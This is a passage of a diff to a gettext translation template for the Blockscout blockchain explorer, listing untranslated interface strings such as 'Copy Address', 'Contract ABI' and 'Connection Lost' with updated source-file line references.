lib/block_scout_web/templates/block/overview.html.eex:216 +#: lib/block_scout_web/templates/block/overview.html.eex:218 +#: lib/block_scout_web/templates/block/overview.html.eex:218 #, elixir-autogen, elixir-format msgid "Burnt Fees" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:65 #: lib/block_scout_web/templates/address_token/overview.html.eex:65 #, elixir-autogen, elixir-format msgid "CRC Worth" msgstr "" -#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:2 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 #, elixir-autogen, elixir-format msgid "CSV" msgstr "" #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 +#: lib/block_scout_web/views/internal_transaction_view.ex:21 #: lib/block_scout_web/views/internal_transaction_view.ex:21 #, elixir-autogen, elixir-format msgid "Call" msgstr "" +#: lib/block_scout_web/views/internal_transaction_view.ex:22 #: lib/block_scout_web/views/internal_transaction_view.ex:22 #, elixir-autogen, elixir-format msgid "Call Code" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:120 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:145 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:120 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:115 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:115 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:41 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:141 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:41 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:107 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:107 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:55 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:55 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:51 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:51 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:47 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:47 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:54 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:54 #, elixir-autogen, elixir-format msgid "Cancel" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:41 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:43 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:43 +#, elixir-autogen, elixir-format +msgid "Change" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:43 +#: lib/block_scout_web/templates/layout/_footer.html.eex:43 #, elixir-autogen, elixir-format msgid "Chat (#blockscout)" msgstr "" -#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:65 +#: lib/block_scout_web/views/block_view.ex:65 #, elixir-autogen, elixir-format msgid "Chore Reward" msgstr "" +#: lib/block_scout_web/templates/tokens/index.html.eex:38 +#: lib/block_scout_web/templates/tokens/index.html.eex:38 +#, elixir-autogen, elixir-format +msgid "Circulating Market Cap" +msgstr "" + #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:137 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:137 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:106 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:106 #, elixir-autogen, elixir-format msgid "Clear" msgstr "" #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:37 +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:37 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:6 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:6 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:14 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:14 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:84 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:84 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:92 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:92 #, elixir-autogen, elixir-format msgid "Close" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:58 +#: lib/block_scout_web/templates/address/_tabs.html.eex:66 +#: lib/block_scout_web/templates/address/_tabs.html.eex:66 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:165 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:165 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:187 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:187 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:126 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:126 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:149 -#: lib/block_scout_web/views/address_view.ex:364 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:149 +#: lib/block_scout_web/views/address_view.ex:356 +#: lib/block_scout_web/views/address_view.ex:356 #, elixir-autogen, elixir-format msgid "Code" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:34 -#: lib/block_scout_web/views/address_view.ex:370 +#: lib/block_scout_web/templates/address/_tabs.html.eex:42 +#: lib/block_scout_web/templates/address/_tabs.html.eex:42 +#: lib/block_scout_web/views/address_view.ex:361 +#: lib/block_scout_web/views/address_view.ex:361 #, elixir-autogen, elixir-format msgid "Coin Balance History" msgstr "" -#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:55 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 #, elixir-autogen, elixir-format msgid "Collapse" msgstr "" #: lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex:3 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:69 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:69 #, elixir-autogen, elixir-format msgid "Compiler" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:65 +#: lib/block_scout_web/templates/address_contract/index.html.eex:142 +#: lib/block_scout_web/templates/address_contract/index.html.eex:142 +#, elixir-autogen, elixir-format +msgid "Compiler Settings" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:71 +#: lib/block_scout_web/templates/address_contract/index.html.eex:71 #, elixir-autogen, elixir-format msgid "Compiler version" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:342 +#: lib/block_scout_web/views/transaction_view.ex:368 +#: lib/block_scout_web/views/transaction_view.ex:368 #, elixir-autogen, elixir-format msgid "Confirmed" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:119 +#: lib/block_scout_web/templates/transaction/overview.html.eex:127 +#: lib/block_scout_web/templates/transaction/overview.html.eex:127 #, elixir-autogen, elixir-format msgid "Confirmed by " msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:185 +#: lib/block_scout_web/templates/transaction/overview.html.eex:193 +#: lib/block_scout_web/templates/transaction/overview.html.eex:193 #, elixir-autogen, elixir-format msgid "Confirmed within" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:6 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:6 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:6 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:6 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:4 -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:15 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:4 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 #, elixir-autogen, elixir-format msgid "Connection Lost" msgstr "" +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:12 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:12 #: lib/block_scout_web/templates/block/index.html.eex:5 +#: lib/block_scout_web/templates/block/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer blocks" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:15 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:15 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer internal transactions" msgstr "" #: lib/block_scout_web/templates/address_transaction/index.html.eex:11 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:11 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:16 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:16 #: lib/block_scout_web/templates/transaction/index.html.eex:22 +#: lib/block_scout_web/templates/transaction/index.html.eex:22 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer transactions" msgstr "" +#: lib/block_scout_web/templates/address_validation/index.html.eex:10 #: lib/block_scout_web/templates/address_validation/index.html.eex:10 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer validations" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:90 +#: lib/block_scout_web/templates/address_contract/index.html.eex:96 +#: lib/block_scout_web/templates/address_contract/index.html.eex:96 #, elixir-autogen, elixir-format msgid "Constructor Arguments" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 -#: lib/block_scout_web/templates/transaction/overview.html.eex:221 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:78 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:78 +#, elixir-autogen, elixir-format +msgid "Constructor args" +msgstr "" + +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/transaction/overview.html.eex:273 +#: lib/block_scout_web/templates/transaction/overview.html.eex:273 #, elixir-autogen, elixir-format msgid "Contract" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:122 +#: lib/block_scout_web/templates/address_contract/index.html.eex:157 +#: lib/block_scout_web/templates/address_contract/index.html.eex:157 #, elixir-autogen, elixir-format msgid "Contract ABI" msgstr "" +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:29 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:29 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_address_field.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_address_field.html.eex:3 -#: lib/block_scout_web/views/address_view.ex:102 +#: lib/block_scout_web/views/address_view.ex:108 +#: lib/block_scout_web/views/address_view.ex:108 #, elixir-autogen, elixir-format msgid "Contract Address" msgstr "" #: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:16 -#: lib/block_scout_web/views/address_view.ex:42 -#: lib/block_scout_web/views/address_view.ex:76 +#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:16 +#: lib/block_scout_web/views/address_view.ex:48 +#: lib/block_scout_web/views/address_view.ex:48 +#: lib/block_scout_web/views/address_view.ex:82 +#: lib/block_scout_web/views/address_view.ex:82 #, elixir-autogen, elixir-format msgid "Contract Address Pending" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:457 +#: lib/block_scout_web/views/transaction_view.ex:497 +#: lib/block_scout_web/views/transaction_view.ex:497 #, elixir-autogen, elixir-format msgid "Contract Call" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:454 +#: lib/block_scout_web/views/transaction_view.ex:494 +#: lib/block_scout_web/views/transaction_view.ex:494 #, elixir-autogen, elixir-format msgid "Contract Creation" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:138 -#: lib/block_scout_web/templates/address_contract/index.html.eex:153 +#: lib/block_scout_web/templates/address_contract/index.html.eex:174 +#: lib/block_scout_web/templates/address_contract/index.html.eex:174 +#: lib/block_scout_web/templates/address_contract/index.html.eex:189 +#: lib/block_scout_web/templates/address_contract/index.html.eex:189 #, elixir-autogen, elixir-format msgid "Contract Creation Code" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:90 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:90 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:80 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:80 #, elixir-autogen, elixir-format msgid "Contract Libraries" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:93 +#: lib/block_scout_web/templates/address/overview.html.eex:75 +#: lib/block_scout_web/templates/address/overview.html.eex:75 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_name_field.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_name_field.html.eex:3 #, elixir-autogen, elixir-format msgid "Contract Name" msgstr "" #: lib/block_scout_web/templates/address_contract/index.html.eex:25 +#: lib/block_scout_web/templates/address_contract/index.html.eex:25 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:11 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:11 #, elixir-autogen, elixir-format msgid "Contract is not verified. However, we found a verified contract with the same bytecode in Blockscout DB" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:57 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:47 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:47 +#, elixir-autogen, elixir-format +msgid "Contract name or address" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:63 +#: lib/block_scout_web/templates/address_contract/index.html.eex:63 #, elixir-autogen, elixir-format msgid "Contract name:" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:100 +#: lib/block_scout_web/templates/address_contract/index.html.eex:106 +#: lib/block_scout_web/templates/address_contract/index.html.eex:106 #, elixir-autogen, elixir-format msgid "Contract source code" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:144 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#, elixir-autogen, elixir-format +msgid "Contract was precompiled and created at genesis or contract creation transaction is missing" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:5 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:5 +#, elixir-autogen, elixir-format +msgid "Contracts" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:180 +#: lib/block_scout_web/templates/address_contract/index.html.eex:180 #, elixir-autogen, elixir-format msgid "Contracts that self destruct in their constructors have no contract code published and cannot be verified." msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:40 +#: lib/block_scout_web/templates/layout/_footer.html.eex:42 +#: lib/block_scout_web/templates/layout/_footer.html.eex:42 #, elixir-autogen, elixir-format msgid "Contribute" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:124 +#: lib/block_scout_web/templates/address_contract/index.html.eex:159 +#: lib/block_scout_web/templates/address_contract/index.html.eex:159 #, elixir-autogen, elixir-format msgid "Copy ABI" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:37 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#, elixir-autogen, elixir-format +msgid "Copy API key" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/address/overview.html.eex:38 #: lib/block_scout_web/templates/address/overview.html.eex:38 +#: lib/block_scout_web/templates/address/overview.html.eex:39 +#: lib/block_scout_web/templates/address/overview.html.eex:39 #: lib/block_scout_web/templates/block/overview.html.eex:104 +#: lib/block_scout_web/templates/block/overview.html.eex:104 +#: lib/block_scout_web/templates/block/overview.html.eex:105 #: lib/block_scout_web/templates/block/overview.html.eex:105 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:42 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:43 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:43 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:44 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:44 #, elixir-autogen, elixir-format msgid "Copy Address" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:140 -#: lib/block_scout_web/templates/address_contract/index.html.eex:156 +#: lib/block_scout_web/templates/address_contract/index.html.eex:144 +#: lib/block_scout_web/templates/address_contract/index.html.eex:144 #, elixir-autogen, elixir-format -msgid "Copy Contract Creation Code" +msgid "Copy Compiler Settings" msgstr "" -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:19 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 #, elixir-autogen, elixir-format -msgid "Copy Decompiled Contract Code" +msgid "Copy Contract Address" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:183 -#: lib/block_scout_web/templates/address_contract/index.html.eex:193 +#: lib/block_scout_web/templates/address_contract/index.html.eex:176 +#: lib/block_scout_web/templates/address_contract/index.html.eex:176 +#: lib/block_scout_web/templates/address_contract/index.html.eex:192 +#: lib/block_scout_web/templates/address_contract/index.html.eex:192 +#, elixir-autogen, elixir-format +msgid "Copy Contract Creation Code" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:213 +#: lib/block_scout_web/templates/address_contract/index.html.eex:213 +#: lib/block_scout_web/templates/address_contract/index.html.eex:223 +#: lib/block_scout_web/templates/address_contract/index.html.eex:223 #, elixir-autogen, elixir-format msgid "Copy Deployed ByteCode" msgstr "" -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:14 -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:15 -#: lib/block_scout_web/templates/transaction/overview.html.eex:201 -#: lib/block_scout_web/templates/transaction/overview.html.eex:202 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:17 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:17 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:18 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:18 +#: lib/block_scout_web/templates/transaction/overview.html.eex:253 +#: lib/block_scout_web/templates/transaction/overview.html.eex:253 +#: lib/block_scout_web/templates/transaction/overview.html.eex:254 +#: lib/block_scout_web/templates/transaction/overview.html.eex:254 #, elixir-autogen, elixir-format msgid "Copy From Address" msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:129 +#: lib/block_scout_web/templates/block/overview.html.eex:129 +#: lib/block_scout_web/templates/block/overview.html.eex:130 #: lib/block_scout_web/templates/block/overview.html.eex:130 #, elixir-autogen, elixir-format msgid "Copy Hash" msgstr "" +#: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:20 #: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:20 #, elixir-autogen, elixir-format msgid "Copy Metadata" msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:149 +#: lib/block_scout_web/templates/block/overview.html.eex:149 +#: lib/block_scout_web/templates/block/overview.html.eex:150 #: lib/block_scout_web/templates/block/overview.html.eex:150 #, elixir-autogen, elixir-format msgid "Copy Parent Hash" msgstr "" -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:15 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:9 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:9 #, elixir-autogen, elixir-format msgid "Copy Raw Trace" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:102 -#: lib/block_scout_web/templates/address_contract/index.html.eex:113 +#: lib/block_scout_web/templates/address_contract/index.html.eex:120 +#: lib/block_scout_web/templates/address_contract/index.html.eex:120 +#: lib/block_scout_web/templates/address_contract/index.html.eex:132 +#: lib/block_scout_web/templates/address_contract/index.html.eex:132 #, elixir-autogen, elixir-format msgid "Copy Source Code" msgstr "" -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:31 -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:32 -#: lib/block_scout_web/templates/transaction/overview.html.eex:227 -#: lib/block_scout_web/templates/transaction/overview.html.eex:228 -#: lib/block_scout_web/templates/transaction/overview.html.eex:234 -#: lib/block_scout_web/templates/transaction/overview.html.eex:235 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:34 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:34 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:35 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:35 +#: lib/block_scout_web/templates/transaction/overview.html.eex:280 +#: lib/block_scout_web/templates/transaction/overview.html.eex:280 +#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:288 +#: lib/block_scout_web/templates/transaction/overview.html.eex:288 +#: lib/block_scout_web/templates/transaction/overview.html.eex:289 +#: lib/block_scout_web/templates/transaction/overview.html.eex:289 #, elixir-autogen, elixir-format msgid "Copy To Address" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:32 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:32 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:33 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:33 #, elixir-autogen, elixir-format msgid "Copy Token ID" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:82 +#: lib/block_scout_web/templates/transaction/overview.html.eex:87 +#: lib/block_scout_web/templates/transaction/overview.html.eex:87 #, elixir-autogen, elixir-format msgid "Copy Transaction Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:83 +#: lib/block_scout_web/templates/transaction/overview.html.eex:88 +#: lib/block_scout_web/templates/transaction/overview.html.eex:88 #, elixir-autogen, elixir-format msgid "Copy Txn Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:464 +#: lib/block_scout_web/templates/transaction/overview.html.eex:571 +#: lib/block_scout_web/templates/transaction/overview.html.eex:571 #, elixir-autogen, elixir-format msgid "Copy Txn Hex Input" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:470 +#: lib/block_scout_web/templates/transaction/overview.html.eex:577 +#: lib/block_scout_web/templates/transaction/overview.html.eex:577 #, elixir-autogen, elixir-format msgid "Copy Txn UTF-8 Input" msgstr "" +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:20 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:20 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:41 -#: lib/block_scout_web/templates/transaction/overview.html.eex:463 -#: lib/block_scout_web/templates/transaction/overview.html.eex:469 -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:14 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:41 +#: lib/block_scout_web/templates/transaction/overview.html.eex:570 +#: lib/block_scout_web/templates/transaction/overview.html.eex:570 +#: lib/block_scout_web/templates/transaction/overview.html.eex:576 +#: lib/block_scout_web/templates/transaction/overview.html.eex:576 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:8 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:8 #, elixir-autogen, elixir-format msgid "Copy Value" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:25 +#: lib/block_scout_web/views/internal_transaction_view.ex:26 +#: lib/block_scout_web/views/internal_transaction_view.ex:26 #, elixir-autogen, elixir-format msgid "Create" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:26 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:12 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:12 +#, elixir-autogen, elixir-format +msgid "Create a Custom ABI to interact with contracts." +msgstr "" + +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#, elixir-autogen, elixir-format, fuzzy +msgid "Create an API key to use with your RPC and EthRPC API requests." +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:27 +#: lib/block_scout_web/views/internal_transaction_view.ex:27 #, elixir-autogen, elixir-format msgid "Create2" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:102 +#: lib/block_scout_web/templates/address/overview.html.eex:102 #, elixir-autogen, elixir-format msgid "Creator" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:146 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:146 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:116 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:116 #, elixir-autogen, elixir-format msgid "Curl" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:92 +#: lib/block_scout_web/templates/transaction/overview.html.eex:97 +#: lib/block_scout_web/templates/transaction/overview.html.eex:97 #, elixir-autogen, elixir-format msgid "Current transaction state: Success, Failed (Error), or Pending (In Process)" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:69 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:20 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:20 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:18 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "Custom" +msgstr "" + +#: lib/block_scout_web/templates/account/common/_nav.html.eex:19 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:19 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:19 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:25 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:25 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:23 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:23 +#, elixir-autogen, elixir-format +msgid "Custom ABI from account" +msgstr "" + +#: lib/block_scout_web/templates/chain/show.html.eex:70 +#: lib/block_scout_web/templates/chain/show.html.eex:70 #, elixir-autogen, elixir-format msgid "Daily Transactions" msgstr "" -#: lib/block_scout_web/templates/address_logs/_logs.html.eex:101 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:98 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:98 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:7 +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:7 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:23 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:23 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:121 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:130 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:130 #, elixir-autogen, elixir-format msgid "Data" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:70 #: lib/block_scout_web/templates/block/overview.html.eex:70 #, elixir-autogen, elixir-format msgid "Date & time at which block was produced." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:171 +#: 